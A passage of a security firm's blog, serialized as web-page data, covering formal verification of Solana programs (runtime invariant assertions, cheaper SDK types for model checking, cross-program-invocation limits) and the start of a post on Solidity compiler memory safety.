Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[28008],{"type":23,"tag":37,"props":28009,"children":28010},{"__ignoreMap":7},[28011,28026,28042,28057,28098,28105,28112,28119,28136,28152,28173,28180,28187,28203,28223,28251,28258,28265,28272,28280,28333,28359,28366,28395,28419,28454,28461,28472],{"type":23,"tag":41,"props":28012,"children":28013},{"class":43,"line":44},[28014,28018,28022],{"type":23,"tag":41,"props":28015,"children":28016},{"style":70},[28017],{"type":28,"value":22824},{"type":23,"tag":41,"props":28019,"children":28020},{"style":94},[28021],{"type":28,"value":22829},{"type":23,"tag":41,"props":28023,"children":28024},{"style":70},[28025],{"type":28,"value":20247},{"type":23,"tag":41,"props":28027,"children":28028},{"class":43,"line":54},[28029,28033,28038],{"type":23,"tag":41,"props":28030,"children":28031},{"style":64},[28032],{"type":28,"value":13685},{"type":23,"tag":41,"props":28034,"children":28035},{"style":94},[28036],{"type":28,"value":28037}," MyCtx",{"type":23,"tag":41,"props":28039,"children":28040},{"style":70},[28041],{"type":28,"value":102},{"type":23,"tag":41,"props":28043,"children":28044},{"class":43,"line":76},[28045,28049,28053],{"type":23,"tag":41,"props":28046,"children":28047},{"style":70},[28048],{"type":28,"value":23116},{"type":23,"tag":41,"props":28050,"children":28051},{"style":64},[28052],{"type":28,"value":3723},{"type":23,"tag":41,"props":28054,"children":28055},{"style":70},[28056],{"type":28,"value":20247},{"type":23,"tag":41,"props":28058,"children":28059},{"class":43,"line":85},[28060,28064,28069,28073,28077,28081,28085,28089,28094],{"type":23,"tag":41,"props":28061,"children":28062},{"style":64},[28063],{"type":28,"value":20830},{"type":23,"tag":41,"props":28065,"children":28066},{"style":858},[28067],{"type":28,"value":28068}," my_account",{"type":23,"tag":41,"props":28070,"children":28071},{"style":170},[28072],{"type":28,"value":1474},{"type":23,"tag":41,"props":28074,"children":28075},{"style":94},[28076],{"type":28,"value":23081},{"type":23,"tag":41,"props":28078,"children":28079},{"style":70},[28080],{"type":28,"value":22909},{"type":23,"tag":41,"props":28082,"children":28083},{"style":94},[28084],{"type":28,"value":22914},{"type":23,"tag":41,"props":28086,"children":28087},{"style":70},[28088],{"type":28,"value":970},{"type":23,"tag":41,"props":28090,"children":28091},{"style":94},[28092],{"type":28,"value":28093},"Acc",{"type":23,"tag":41,"props":28095,"children":28096},{"style":70},[28097],{"type":28,"value":773},{"type":23,"tag":41,"props":28099,"children":28100},{"class":43,"line":105},[28101],{"type":23,"tag":41,"props":28102,"children":28103},{"style":70},[28104],{"type":28,"value":201},{"type":23,"tag":41,"props":28106,"children":28107},{"class":43,"line":155},[28108],{"type":23,"tag":41,"props":28109,"children":28110},{"emptyLinePlaceholder":18},[28111],{"type":28,"value":82},{"type":23,"tag":41,"props":28113,"children":28114},{"class":43,"line":186},[28115],{"type":23,"tag":41,"props":28116,"children":28117},{"style":70},[28118],{"type":28,"value":20757},{"type":23,"tag":41,"props":28120,"children":28121},{"class":43,"line":195},[28122,28127,28131],{"type":23,"tag":41,"props":28123,"children":28124},{"style":70},[28125],{"type":28,"value":28126},"#[invariant(bad ",{"type":23,"tag":41,"props":28128,"children":28129},{"style":170},[28130],{"type":28,"value":387},{"type":23,"tag":41,"props":28132,"children":28133},{"style":70},[28134],{"type":28,"value":28135}," false)]\n",{"type":23,"tag":41,"props":28137,"children":28138},{"class":43,"line":905},[28139,28143,28148],{"type":23,"tag":41,"props":28140,"children":28141},{"style":64},[28142],{"type":28,"value":9399},{"type":23,"tag":41,"props":28144,"children":28145},{"style":94},[28146],{"type":28,"value":28147}," Acc",{"type":23,"tag":41,"props":28149,"children":28150},{"style":70},[28151],{"type":28,"value":102},{"type":23,"tag":41,"props":28153,"children":28154},{"class":43,"line":922},[28155,28159,28164,28168],{"type":23,"tag":41,"props":28156,"children":28157},{"style":64},[28158],{"type":28,"value":20830},{"type":23,"tag":41,"props":28160,"children":28161},{"style":858},[28162],{"type":28,"value":28163}," bad",{"type":23,"tag":41,"props":28165,"children":28166},{"style":170},[28167],{"type":28,"value":1474},{"type":23,"tag":41,"props":28169,"children":28170},{"style":94},[28171],{"type":28,"value":28172}," bool\n",{"type":23,"tag":41,"props":28174,"children":28175},{"class":43,"line":930},[28176],{"type":23,"tag":41,"props":28177,"children":28178},{"style":70},[28179],{"type":28,"value":201},{"type":23,"tag":41,"props":28181,"children":28182},{"class":43,"line":939},[28183],{"type":23,"tag":41,"props":28184,"children":28185},{"emptyLinePlaceholder":18},[28186],{"type":28,"value":82},{"type":23,"tag":41,"props":28188,"children":28189},{"class":43,"line":947},[28190,28195,28199],{"type":23,"tag":41,"props":28191,"children":28192},{"style":64},[28193],{"type":28,"value":28194},"impl",{"type":23,"tag":41,"props":28196,"children":28197},{"style":94},[28198],{"type":28,"value":28147},{"type":23,"tag":41,"props":28200,"children":28201},{"style":70},[28202],{"type":28,"value":102},{"type":23,"tag":41,"props":28204,"children":28205},{"class":43,"line":985},[28206,28210,28214,28219],{"type":23,"tag":41,"props":28207,"children":28208},{"style":64},[28209],{"type":28,"value":20830},{"type":23,"tag":41,"props":28211,"children":28212},{"style":64},[28213],{"type":28,"value":13690},{"type":23,"tag":41,"props":28215,"children":28216},{"style":114},[28217],{"type":28,"value":28218}," put_into_bad_state",{"type":23,"tag":41,"props":28220,"children":28221},{"style":70},[28222],{"type":28,"value":1134},{"type":23,"tag":41,"props":28224,"children":28225},{"class":43,"line":1058},[28226,28230,28234,28239,28243,28247],{"type":23,"tag":41,"props":28227,"children":28228},{"style":64},[28229],{"type":28,"value":27359},{"type":23,"tag":41,"props":28231,"children":28232},{"style":170},[28233],{"type":28,"value":706},{"type":23,"tag":41,"props":28235,"children":28236},{"style":70},[28237],{"type":28,"value":28238},"bad ",{"type":23,"tag":41,"props":28240,"children":28241},{"style":170},[28242],{"type":28,"value":2381},{"type":23,"tag":41,"props":28244,"children":28245},{"style":64},[28246],{"type":28,"value":915},{"type":23,"tag":41,"props":28248,"children":28249},{"style":70},[28250],{"type":28,"value":183},{"type":23,"tag":41,"props":28252,"children":28253},{"class":43,"line":1084},[28254],{"type":23,"tag":41,"props":28255,"children":28256},{"style":70},[28257],{"type":28,"value":192},{"type":23,"tag":41,"props":28259,"children":28260},{"class":43,"line":1102},[28261],{"type":23,"tag":41,"props":28262,"children":28263},{"style":70},[28264],{"type":28,"value":201},{"type":23,"tag":41,"props":28266,"children":28267},{"class":43,"line":1110},[28268],{"type":23,"tag":41,"props":28269,"children":28270},{"emptyLinePlaceholder":18},[28271],{"type":28,"value":82},{"type":23,"tag":41,"props":28273,"children":28274},{"class":43,"line":1118},[28275],{"type":23,"tag":41,"props":28276,"children":28277},{"style":48},[28278],{"type":28,"value":28279},"// Instruction handler:\n",{"type":23,"tag":41,"props":28281,"children":28282},{"class":43,"line":1137},[28283,28287,28292,28296,28300,28304,28308,28312,28317,28321,28325,28329],{"type":23,"tag":41,"props":28284,"children":28285},{"style":64},[28286],{"type":28,"value":20255},{"type":23,"tag":41,"props":28288,"children":28289},{"style":114},[28290],{"type":28,"value":28291}," hard_to_verify",{"type":23,"tag":41,"props":28293,"children":28294},{"style":70},[28295],{"type":28,"value":1737},{"type":23,"tag":41,"props":28297,"children":28298},{"style":858},[28299],{"type":28,"value":20269},{"type":23,"tag":41,"props":28301,"children":28302},{"style":170},[28303],{"type":28,"value":1474},{"type":23,"tag":41,"props":28305,"children":28306},{"style":94},[28307],{"type":28,"value":20278},{"type":23,"tag":41,"props":28309,"children":28310},{"style":70},[28311],{"type":28,"value":1012},{"type":23,"tag":41,"props":28313,"children":28314},{"style":94},[28315],{"type":28,"value":28316},"MyCtx",{"type":23,"tag":41,"props":28318,"children":28319},{"style":70},[28320],{"type":28,"value":20434},{"type":23,"tag":41,"props":28322,"children":28323},{"style":170},[28324],{"type":28,"value":2453},{"type":23,"tag":41,"props":28326,"children":28327},{"style":94},[28328],{"type":28,"value":13756},{"type":23,"tag":41,"props":28330,"children":28331},{"style":70},[28332],{"type":28,"value":20320},{"type":23,"tag":41,"props":28334,"children":28335},{"class":43,"line":1163},[28336,28341,28345,28349,28354],{"type":23,"tag":41,"props":28337,"children":28338},{"style":114},[28339],{"type":28,"value":28340},"    invoke_signed",{"type":23,"tag":41,"props":28342,"children":28343},{"style":70},[28344],{"type":28,"value":1737},{"type":23,"tag":41,"props":28346,"children":28347},{"style":170},[28348],{"type":28,"value":9589},{"type":23,"tag":41,"props":28350,"children":28351},{"style":70},[28352],{"type":28,"value":28353},"); ",{"type":23,"tag":41,"props":28355,"children":28356},{"style":48},[28357],{"type":28,"value":28358},"// Cross-program invocation\n",{"type":23,"tag":41,"props":28360,"children":28361},{"class":43,"line":1188},[28362],{"type":23,"tag":41,"props":28363,"children":28364},{"emptyLinePlaceholder":18},[28365],{"type":28,"value":82},{"type":23,"tag":41,"props":28367,"children":28368},{"class":43,"line":1979},[28369,28373,28378,28382,28386,28390],{"type":23,"tag":41,"props":28370,"children":28371},{"style":64},[28372],{"type":28,"value":3002},{"type":23,"tag":41,"props":28374,"children":28375},{"style":858},[28376],{"type":28,"value":28377}," invoke_res",{"type":23,"tag":41,"props":28379,"children":28380},{"style":170},[28381],{"type":28,"value":3017},{"type":23,"tag":41,"props":28383,"children":28384},{"style":170},[28385],{"type":28,"value":25298},{"type":23,"tag":41,"props":28387,"children":28388},{"style":70},[28389],{"type":28,"value":17213},{"type":23,"tag":41,"props":28391,"children":28392},{"style":48},[28393],{"type":28,"value":28394},"// fetch result of invocation\n",{"type":23,"tag":41,"props":28396,"children":28397},{"class":43,"line":2002},[28398,28402,28406,28410,28415],{"type":23,"tag":41,"props":28399,"children":28400},{"style":58},[28401],{"type":28,"value":2440},{"type":23,"tag":41,"props":28403,"children":28404},{"style":858},[28405],{"type":28,"value":28377},{"type":23,"tag":41,"props":28407,"children":28408},{"style":170},[28409],{"type":28,"value":3282},{"type":23,"tag":41,"props":28411,"children":28412},{"style":164},[28413],{"type":28,"value":28414}," 5",{"type":23,"tag":41,"props":28416,"children":28417},{"style":70},[28418],{"type":28,"value":102},{"type":23,"tag":41,"props":28420,"children":28421},{"class":43,"line":3835},[28422,28426,28430,28435,28439,28444,28449],{"type":23,"tag":41,"props":28423,"children":28424},{"style":858},[28425],{"type":28,"value":26185},{"type":23,"tag":41,"props":28427,"children":28428},{"style":170},[28429],{"type":28,"value":706},{"type":23,"tag":41,"props":28431,"children":28432},{"style":70},[28433],{"type":28,"value":28434},"my_account",{"type":23,"tag":41,"props":28436,"children":28437},{"style":170},[28438],{"type":28,"value":706},{"type":23,"tag":41,"props":28440,"children":28441},{"style":114},[28442],{"type":28,"value":28443},"put_into_bad_state",{"type":23,"tag":41,"props":28445,"children":28446},{"style":70},[28447],{"type":28,"value":28448},"(); ",{"type":23,"tag":41,"props":28450,"children":28451},{"style":48},[28452],{"type":28,"value":28453},"// corrupt our account\n",{"type":23,"tag":41,"props":28455,"children":28456},{"class":43,"line":3895},[28457],{"type":23,"tag":41,"props":28458,"children":28459},{"style":70},[28460],{"type":28,"value":192},{"type":23,"tag":41,"props":28462,"children":28463},{"class":43,"line":9044},[28464,28468],{"type":23,"tag":41,"props":28465,"children":28466},{"style":94},[28467],{"type":28,"value":14325},{"type":23,"tag":41,"props":28469,"children":28470},{"style":70},[28471],{"type":28,"value":14330},{"type":23,"tag":41,"props":28473,"children":28474},{"class":43,"line":9061},[28475],{"type":23,"tag":41,"props":28476,"children":28477},{"style":70},[28478],{"type":28,"value":201},{"type":23,"tag":24,"props":28480,"children":28481},{},[28482,28484,28489],{"type":28,"value":28483},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":23,"tag":37,"props":28485,"children":28487},{"className":28486},[],[28488],{"type":28,"value":28434},{"type":28,"value":28490},") will be maintained as long as the instruction succeeds.",{"type":23,"tag":24,"props":28492,"children":28493},{},[28494],{"type":28,"value":28495},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":23,"tag":24,"props":28497,"children":28498},{},[28499,28501,28506],{"type":28,"value":28500},"However, we can ",{"type":23,"tag":2913,"props":28502,"children":28503},{},[28504],{"type":28,"value":28505},"augment",{"type":28,"value":28507}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":23,"tag":24,"props":28509,"children":28510},{},[28511],{"type":28,"value":28512},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":23,"tag":31,"props":28514,"children":28516},{"code":28515,"language":2981,"meta":7,"className":2982,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[28517],{"type":23,"tag":37,"props":28518,"children":28519},{"__ignoreMap":7},[28520,28528,28579,28602,28609,28636,28659,28690,28697,28704,28712,28747,28754,28765],{"type":23,"tag":41,"props":28521,"children":28522},{"class":43,"line":44},[28523],{"type":23,"tag":41,"props":28524,"children":28525},{"style":170},[28526],{"type":28,"value":28527},"...\n",{"type":23,"tag":41,"props":28529,"children":28530},{"class":43,"line":54},[28531,28535,28539,28543,28547,28551,28555,28559,28563,28567,28571,28575],{"type":23,"tag":41,"props":28532,"children":28533},{"style":64},[28534],{"type":28,"value":20255},{"type":23,"tag":41,"props":28536,"children":28537},{"style":114},[28538],{"type":28,"value":28291},{"type":23,"tag":41,"props":28540,"children":28541},{"style":70},[28542],{"type":28,"value":1737},{"type":23,"tag":41,"props":28544,"children":28545},{"style":858},[28546],{"type":28,"value":20269},{"type":23,"tag":41,"props":28548,"children":28549},{"style":170},[28550],{"type":28,"value":1474},{"type":23,"tag":41,"props":28552,"children":28553},{"style":94},[28554],{"type":28,"value":20278},{"type":23,"tag":41,"props":28556,"children":28557},{"style":70},[28558],{"type":28,"value":1012},{"type":23,"tag":41,"props":28560,"children":28561},{"style":94},[28562],{"type":28,"value":28316},{"type":23,"tag":41,"props":28564,"children":28565},{"style":70},[28566],{"type":28,"value":20434},{"type":23,"tag":41,"props":28568,"children":28569},{"style":170},[28570],{"type":28,"value":2453},{"type":23,"tag":41,"props":28572,"children":28573},{"style":94},[28574],{"type":28,"value":13756},{"type":23,"tag":41,"props":28576,"children":28577},{"style":70},[28578],{"type":28,"value":20320},{"type":23,"tag":41,"props":28580,"children":28581},{"class":43,"line":76},[28582,28586,28590,28594,28598],{"type":23,"tag":41,"props":28583,"children":28584},{"style":114},[28585],{"type":28,"value":28340},{"type":23,"tag":41,"props":28587,"children":28588},{"style":70},[28589],{"type":28,"value":1737},{"type":23,"tag":41,"props":28591,"children":28592},{"style":170},[28593],{"type":28,"value":9589},{"type":23,"tag":41,"props":28595,"children":28596},{"style":70},[28597],{"type":28,"value":28353},{"type":23,"tag":41,"props":28599,"children":28600},{"style":48},[28601],{"type":28,"value":28358},{"type":23,"tag":41,"props":28603,"children":28604},{"class":43,"line":85},[28605],{"type":23,"tag":41,"props":28606,"children":28607},{"emptyLinePlaceholder":18},[28608],{"type":28,"value":82},{"type":23,"tag":41,"props":28610,"children":28611},{"class":43,"line":105},[28612,28616,28620,28624,28628,28632],{"type":23,"tag":41,"props":28613,"children":28614},{"style":64},[28615],{"type":28,"value":3002},{"type":23,"tag":41,"props":28617,"children":28618},{"style":858},[28619],{"type":28,"value":28377},{"type":23,"tag":41,"props":28621,"children":28622},{"style":170},[28623],{"type":28,"value":3017},{"type":23,"tag":41,"props":28625,"children":28626},{"style":170},[28627],{"type":28,"value":25298},{"type":23,"tag":41,"props":28629,"children":28630},{"style":70},[28631],{"type":28,"value":17213},{"type":23,"tag":41,"props":28633,"children":28634},{"style":48},[28635],{"type":28,"value":28394},{"type":23,"tag":41,"props":28637,"children":28638},{"class":43,"line":155},[28639,28643,28647,28651,28655],{"type":23,"tag":41,"props":28640,"children":28641},{"style":58},[28642],{"type":28,"value":2440},{"type":23,"tag":41,"props":28644,"children":28645},{"style":858},[28646],{"type":28,"value":28377},{"type":23,"tag":41,"props":28648,"children":28649},{"style":170},[28650],{"type":28,"value":3282},{"type":23,"tag":41,"props":28652,"children":28653},{"style":164},[28654],{"type":28,"value":28414},{"type":23,"tag":41,"props":28656,"children":28657},{"style":70},[28658],{"type":28,"value":102},{"type":23,"tag":41,"props":28660,"children":28661},{"class":43,"line":186},[28662,28666,28670,28674,28678,28682,28686],{"type":23,"tag":41,"props":28663,"children":28664},{"style":858},[28665],{"type":28,"value":26185},{"type":23,"tag":41,"props":28667,"children":28668},{"style":170},[28669],{"type":28,"value":706},{"type":23,"tag":41,"props":28671,"children":28672},{"style":70},[28673],{"type":28,"value":28434},{"type":23,"tag":41,"props":28675,"children":28676},{"style":170},[28677],{"type":28,"value":706},{"type":23,"tag":41,"props":28679,"children":28680},{"style":114},[28681],{"type":28,"value":28443},{"type":23,"tag":41,"props":28683,"children":28684},{"style":70},[28685],{"type":28,"value":28448},{"type":23,"tag":41,"props":28687,"children":28688},{"style":48},[28689],{"type":28,"value":28453},{"type":23,"tag":41,"props":28691,"children":28692},{"class":43,"line":195},[28693],{"type":23,"tag":41,"props":28694,"children":28695},{"style":70},[28696],{"type":28,"value":192},{"type":23,"tag":41,"props":28698,"children":28699},{"class":43,"line":905},[28700],{"type":23,"tag":41,"props":28701,"children":28702},{"emptyLinePlaceholder":18},[28703],{"type":28,"value":82},{"type":23,"tag":41,"props":28705,"children":28706},{"class":43,"line":922},[28707],{"type":23,"tag":41,"props":28708,"children":28709},{"style":48},[28710],{"type":28,"value":28711},"    // Enforce invariants at runtime\n",{"type":23,"tag":41,"props":28713,"children":28714},{"class":43,"line":930},[28715,28719,28723,28727,28731,28735,28739,28743],{"type":23,"tag":41,"props":28716,"children":28717},{"style":114},[28718],{"type":28,"value":19227},{"type":23,"tag":41,"props":28720,"children":28721},{"style":70},[28722],{"type":28,"value":1737},{"type":23,"tag":41,"props":28724,"children":28725},{"style":858},[28726],{"type":28,"value":20269},{"type":23,"tag":41,"props":28728,"children":28729},{"style":170},[28730],{"type":28,"value":706},{"type":23,"tag":41,"props":28732,"children":28733},{"style":70},[28734],{"type":28,"value":28434},{"type":23,"tag":41,"props":28736,"children":28737},{"style":170},[28738],{"type":28,"value":706},{"type":23,"tag":41,"props":28740,"children":28741},{"style":114},[28742],{"type":28,"value":21764},{"type":23,"tag":41,"props":28744,"children":28745},{"style":70},[28746],{"type":28,"value":15416},{"type":23,"tag":41,"props":28748,"children":28749},{"class":43,"line":939},[28750],{"type":23,"tag":41,"props":28751,"children":28752},{"emptyLinePlaceholder":18},[28753],{"type":28,"value":82},{"type":23,"tag":41,"props":28755,"children":28756},{"class":43,"line":947},[28757,28761],{"type":23,"tag":41,"props":28758,"children":28759},{"style":94},[28760],{"type":28,"value":14325},{"type":23,"tag":41,"props":28762,"children":28763},{"style":70},[28764],{"type":28,"value":14330},{"type":23,"tag":41,"props":28766,"children":28767},{"class":43,"line":985},[28768],{"type":23,"tag":41,"props":28769,"children":28770},{"style":70},[28771],{"type":28,"value":201},{"type":23,"tag":24,"props":28773,"children":28774},{},[28775,28777,28782,28784,28789,28791,28796],{"type":28,"value":28776},"Here, we explicitly ",{"type":23,"tag":37,"props":28778,"children":28780},{"className":28779},[],[28781],{"type":28,"value":19972},{"type":28,"value":28783}," that our invariants hold at ",{"type":23,"tag":2913,"props":28785,"children":28786},{},[28787],{"type":28,"value":28788},"runtime",{"type":28,"value":28790}," which allows us to be assured that ",{"type":23,"tag":37,"props":28792,"children":28794},{"className":28793},[],[28795],{"type":28,"value":28434},{"type":28,"value":28797}," will not enter a bad state as a result of some unverifiable behavior.",{"type":23,"tag":24,"props":28799,"children":28800},{},[28801],{"type":28,"value":28802},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":23,"tag":446,"props":28804,"children":28806},{"id":28805},"challenges-of-formal-verification-on-solana",[28807],{"type":28,"value":28808},"Challenges of formal verification on Solana",{"type":23,"tag":546,"props":28810,"children":28812},{"id":28811},"expensive-computation",[28813],{"type":28,"value":28814},"Expensive computation",{"type":23,"tag":24,"props":28816,"children":28817},{},[28818,28820,28825],{"type":28,"value":28819},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":23,"tag":2913,"props":28821,"children":28822},{},[28823],{"type":28,"value":28824},"path explosion",{"type":28,"value":28826},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":23,"tag":24,"props":28828,"children":28829},{},[28830,28832,28837],{"type":28,"value":28831},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":23,"tag":2913,"props":28833,"children":28834},{},[28835],{"type":28,"value":28836},"formal verification friendly",{"type":28,"value":28838},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":23,"tag":24,"props":28840,"children":28841},{},[28842,28844,28849,28851,28856],{"type":28,"value":28843},"For example, when verifying things like the uniqueness of a ",{"type":23,"tag":37,"props":28845,"children":28847},{"className":28846},[],[28848],{"type":28,"value":21385},{"type":28,"value":28850}," in a ",{"type":23,"tag":37,"props":28852,"children":28854},{"className":28853},[],[28855],{"type":28,"value":17197},{"type":28,"value":28857},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":23,"tag":24,"props":28859,"children":28860},{},[28861,28863,28868,28870,28875,28877,28882,28884,28889,28891,28896,28898,28903],{"type":28,"value":28862},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":23,"tag":37,"props":28864,"children":28866},{"className":28865},[],[28867],{"type":28,"value":17197},{"type":28,"value":28869}," or a 32-byte ",{"type":23,"tag":37,"props":28871,"children":28873},{"className":28872},[],[28874],{"type":28,"value":21385},{"type":28,"value":28876},". Instead, our tool can substitute in ",{"type":23,"tag":2913,"props":28878,"children":28879},{},[28880],{"type":28,"value":28881},"cheaper",{"type":28,"value":28883}," types and functions, such as a 4-byte ",{"type":23,"tag":37,"props":28885,"children":28887},{"className":28886},[],[28888],{"type":28,"value":21385},{"type":28,"value":28890}," struct and a fixed-size, array-backed ",{"type":23,"tag":37,"props":28892,"children":28894},{"className":28893},[],[28895],{"type":28,"value":17197},{"type":28,"value":28897}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":23,"tag":2913,"props":28899,"children":28900},{},[28901],{"type":28,"value":28902},"much",{"type":28,"value":28904}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":23,"tag":24,"props":28906,"children":28907},{},[28908],{"type":28,"value":28909},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":23,"tag":546,"props":28911,"children":28913},{"id":28912},"runtime-environment",[28914],{"type":28,"value":28915},"Runtime Environment",{"type":23,"tag":24,"props":28917,"children":28918},{},[28919],{"type":28,"value":28920},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":23,"tag":24,"props":28922,"children":28923},{},[28924],{"type":28,"value":28925},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":23,"tag":24,"props":28927,"children":28928},{},[28929],{"type":28,"value":28930},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":23,"tag":446,"props":28932,"children":28933},{"id":2811},[28934],{"type":28,"value":2814},{"type":23,"tag":24,"props":28936,"children":28937},{},[28938],{"type":28,"value":28939},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":23,"tag":24,"props":28941,"children":28942},{},[28943],{"type":28,"value":28944},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":23,"tag":442,"props":28946,"children":28947},{},[],{"type":23,"tag":24,"props":28949,"children":28950},{},[28951],{"type":23,"tag":2913,"props":28952,"children":28953},{},[28954,28956,28961,28962,28966],{"type":28,"value":28955},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":23,"tag":458,"props":28957,"children":28959},{"href":18864,"rel":28958},[462],[28960],{"type":28,"value":18868},{"type":28,"value":18870},{"type":23,"tag":458,"props":28963,"children":28964},{"href":18873},[28965],{"type":28,"value":18876},{"type":28,"value":706},{"type":23,"tag":2843,"props":28968,"children":28969},{},[28970],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":28972},[28973,28979,28983,28988,28994,28998],{"id":18938,"depth":54,"text":18941,"children":28974},[28975,28976,28977,28978],{"id":18944,"depth":76,"text":18947},{"id":19012,"depth":76,"text":19015},{"id":19892,"depth":76,"text":19895},{"id":19932,"depth":76,"text":19935},{"id":19985,"depth":54,"text":28980,"children":28981},"Specification: How can we describe what we want our program to do?",[28982],{"id":20099,"depth":76,"text":20102},{"id":21457,"depth":54,"text":21460,"children":28984},[28985,28986,28987],{"id":22133,"depth":76,"text":22136},{"id":22418,"depth":76,"text":22421},{"id":22562,"depth":76,"text":22565},{"id":22703,"depth":54,"text":22706,"children":28989},[28990,28991,28992,28993],{"id":22774,"depth":76,"text":22777},{"id":24637,"depth":76,"text":24640},{"id":25439,"depth":76,"text":22766},{"id":27965,"depth":76,"text":22771},{"id":28805,"depth":54,"text":28808,"children":28995},[28996,28997],{"id":28811,"depth":76,"text":28814},{"id":28912,"depth":76,"text":28915},{"id":2811,"depth":54,"text":2814},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":29003,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":29004,"description":29005,"author":5720,"image":29006,"date":29008,"isFeatured":18,"onBlogPage":18,"tags":29009,"body":29010,"_type":2864,"_id":30424,"_source":2866,"_file":30425,"_stem":30426,"_extension":2869},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":29007,"height":13,"width":13},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[16,17],{"type":20,"children":29011,"toc":30415},[29012,29018,29054,29066,29072,29094,29107,29252,29273,29278,29299,29304,29312,29317,29322,29327,29333,29352,29357,29378,29441,29454,29484,29504,29531,29536,29549,29554,29559,29572,29603,29626,29779,29797,29848,29867,29892,29897,29903,29930,29950,29978,29983,30005,30024,30032,30043,30048,30064,30319,30327,30332,30336,30341,30346,30411],{"type":23,"tag":446,"props":29013,"children":29015},{"id":29014},"introduction",[29016],{"type":28,"value":29017},"Introduction",{"type":23,"tag":24,"props":29019,"children":29020},{},[29021,29023,29029,29030,29034,29036,29043,29045,29052],{"type":28,"value":29022},"What does ",{"type":23,"tag":37,"props":29024,"children":29026},{"className":29025},[],[29027],{"type":28,"value":29028},"memory-safe",{"type":28,"value":6456},{"type":23,"tag":2913,"props":29031,"children":29032},{},[29033],{"type":28,"value":9286},{"type":28,"value":29035}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":23,"tag":458,"props":29037,"children":29040},{"href":29038,"rel":29039},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[462],[29041],{"type":28,"value":29042},"presents some requirements",{"type":28,"value":29044},", but is production code that ",{"type":23,"tag":458,"props":29046,"children":29049},{"href":29047,"rel":29048},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[462],[29050],{"type":28,"value":29051},"violates these requirements",{"type":28,"value":29053}," necessarily unsafe?",{"type":23,"tag":24,"props":29055,"children":29056},{},[29057,29059,29064],{"type":28,"value":29058},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":23,"tag":2913,"props":29060,"children":29061},{},[29062],{"type":28,"value":29063},"memory-safety",{"type":28,"value":29065}," actually means.",{"type":23,"tag":446,"props":29067,"children":29069},{"id":29068},"compiler-pipeline",[29070],{"type":28,"value":29071},"Compiler Pipeline",{"type":23,"tag":24,"props":29073,"children":29074},{},[29075,29077,29084,29086,29093],{"type":28,"value":29076},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":23,"tag":458,"props":29078,"children":29081},{"href":29079,"rel":29080},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[462],[29082],{"type":28,"value":29083},"released in v0.8.13",{"type":28,"value":29085},". Compilation happens 